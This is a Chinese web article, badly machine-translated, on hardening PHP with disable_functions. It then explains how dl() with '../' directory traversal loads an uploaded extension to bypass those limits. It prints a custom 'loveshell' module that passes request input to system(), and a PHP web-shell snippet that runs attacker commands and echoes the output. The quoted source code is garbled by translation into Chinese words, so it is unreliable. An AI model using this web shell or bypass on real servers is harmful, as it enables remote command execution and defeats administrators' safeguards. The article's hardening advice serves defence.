如果想保证服务器的安全,请将这个函数加到disable_functions选项里或者将安全模式打开吧,在安全模式下分升函数是无条件禁止的
问:我经营一个小基于Apache 网页服务器供我个人使用,是与朋友和家人共享。然而,大多数的脚本小子尝试利用 PHP的 如应用程序WordPress的使用exec(),passthru(),函数shell_exec(),系统()等函数。如何禁用这些功能来提高我的PHP脚本的安全?
答:PHP有很多功能可以用来打击你的服务器如果使用不当。您可以在php.ini中的函数列表使用disable_functions选项。本指令允许你禁用某些功能,出于安全原因。这需要用逗号分隔的函数名列表。 disable_functions不受安全模式的影响。此指令必须在php.ini中设置,例如,您不能设置在httpd.conf。
打开php.ini文件:
#编辑/ etc / php.ini中
查找disable_functions选项并设置新的名单如下:
查找disable_functions选项然后用下面的替换
disable_functions选项= phpinfo,Exec的,passthru,了shell_exec,系统,proc_open函数popen,curl_exec,curl_multi_exec,parse_ini_file,调试代码
保存并关闭文件。重新启动httpd的:
#服务httpd重新
请注意disable_functions选项不能在外面的php.ini文件中使用,这意味着在每个虚拟主机或目录的方式在httpd.conf文件您不能禁用功能。如果我们加入到php.ini文件:
注意下面的突破方法:建议打开安全模式
PHP的是一款功能强大应用广泛的脚本语言,很大一部分网站都是使用PHP的架构的。因为其提供了强大的文件操作功能和与系统交互的功能,所以大部分的服务器都对PHP的做了严格的限制,包括使用的open_basedir限制可以操作的目录以及使用disable_functions选项限制程序使用一些可以直接执行系统命令的函数如制度,Exec的,passthru,了shell_exec,proc_open等等。但是如果服务器没有对分升()函数做限制,一样可以利用分升()函数饶过这些限制。
分升()函数允许在PHP的脚本里动态加载PHP的模块,默认是加载下extension_dir目录里的扩展,该选项是是PHP_INI_SYSTEM范围可修改的,只能在php.ini文件或者Apache的主配置文件里修改。当然,你也可以通过enable_dl选项来关闭动态加载功能,而这个选项默认为上的,事实上也很少人注意到这个。分升()函数在设计时存在安全漏洞,可以用.. /这种目录遍历的方式指定加载任何一个目录里的,以便等扩展文件,下extension_dir限制可以被随意饶过。所以我们可以上传自己的等文件,并且用分升函数加载这个文件然后利用,以便使文件里的函数执行其他操作,包括系统命令。
PHP_FUNCTION(分升)
(
pval作为**文件;
#ifdef特稿
如果((strncmp(sapi_module.name“的CGI”,3)= 0)&&
(strcmp(sapi_module.name,“cli的”)!= 0)&&
(strncmp(sapi_module.name,“嵌入”,5)= 0))(
php_error_docref(空TSRMLS_CC,一条E_WARNING,“不支持多线程Web服务器-用在你的php.ini文件扩展名的声明”);
RETURN_FALSE;
)/ /验证是否可以使用分升函数,在多线程的Web服务器里是禁止的
#endif
/ *获得参数* /
如果(ZEND_NUM_ARGS()!= 1 | | zend_get_parameters_ex(1,&档案)==失败)(
WRONG_PARAM_COUNT;
)
convert_to_string_ex(文件); / /取得参数
如果(!页码(enable_dl))(
php_error_docref(空TSRMLS_CC,一条E_WARNING,“动态加载extentions没有启用");//验证是否enable_dl,默认为上
)否则如果(中央社(safe_mode设置))(
php_error_docref(空TSRMLS_CC,一条E_WARNING,“动态加载的扩展名时,不允许在安全模式下运行");//验证是否安全模式下打开
否则()
php_dl(*file, MODULE_TEMPORARY, return_value TSRMLS_CC); //开始调用加载
乙二醇(full_tables_cleanup)= 1;
)
下面是开始处理模块的加载
无效php_dl(pval作为*文件,int类型,pval作为* return_value TSRMLS_DC)
(
*无效处理;
字符* libpath;
zend_module_entry * module_entry,* tmp的;
zend_module_entry *(* get_module)(无效);
廉政error_type;
字符*下extension_dir; / /定义一些变量
如果(类型== MODULE_PERSISTENT)(
/ *使用哈希直接配置,该INI机制尚未初始化* /
如果(cfg_get_string(“下extension_dir”,与下extension_dir)==失败)(
下extension_dir = PHP_EXTENSION_DIR;
)
否则()
下extension_dir =页码(下extension_dir);
)/ /取得的php.ini里的设置也就是下extension_dir的目录
如果(类型== MODULE_TEMPORARY)(
error_type =一条E_WARNING;
否则()
error_type = E_CORE_WARNING;
)
如果(下extension_dir&下extension_dir [0])(
廉政extension_dir_len = strlen(下extension_dir);
libpath = emalloc(extension_dir_len + Z_STRLEN_P(文件)2);
如果(IS_SLASH(下extension_dir [extension_dir_len - 1]))(
sprintf(libpath,“%硫%仛”,下extension_dir,Z_STRVAL_P(文件)); / *安全* /
否则()
sprintf(libpath,“%硫%ç%š”,下extension_dir,DEFAULT_SLASH,Z_STRVAL_P(文件)); / *安全* /
)/ /构造最终的等文件的位置,只是简单的附加,并没有对传入的参数做任何检查,包括open_basedir选项等
否则()
libpath = estrndup(Z_STRVAL_P(文件),Z_STRLEN_P(文件));
)
/ *加载动态符号* /
处理= DL_LOAD(libpath); / /开始真正的调用了
看到了吧,我们可以调用任意的让模块等了哦!下一步就是编写自己的,并且调用他。按照官方提供的模块编写方法,我写了个很简单的,主要的导出函数loveshell如下:
PHP_FUNCTION(loveshell)
(
字符*命令;
廉政command_len;
如果(ZEND_NUM_ARGS()!= 1 | | zend_parse_parameters(ZEND_NUM_ARGS()TSRMLS_CC,的“S”,&命令,&command_len)==失败)(
WRONG_PARAM_COUNT;
)
系统(指挥);
zend_printf(“我收到%仛”,命令);
)
注意由于PHP4中和的php5的结构不一样,所以如果想要能顺利调用扩展,那么在PHP4的环境下就要将上面的代码放到PHP4的环境下编译,的php5的就要在的php5环境下编译。我们将编写好的扩展上传到服务器,就可以利用下面的代码执行命令了:
“?PHP的
分升('../../../../../../../../../万维网/用户/ www.cnbct.org / loveshell.so');
$加利福尼亚= $ _REQUEST数组[ç]。“2”&1“tmp.txt”;
loveshell($加利福尼亚);
回声“
”;
回声file_get_contents('tmp.txt');
?“
所以如果想保证服务器的安全,请将这个函数加到disable_functions选项里或者将安全模式打开吧,在安全模式下分升函数是无条件禁止的!:)(责任编辑:大宝库)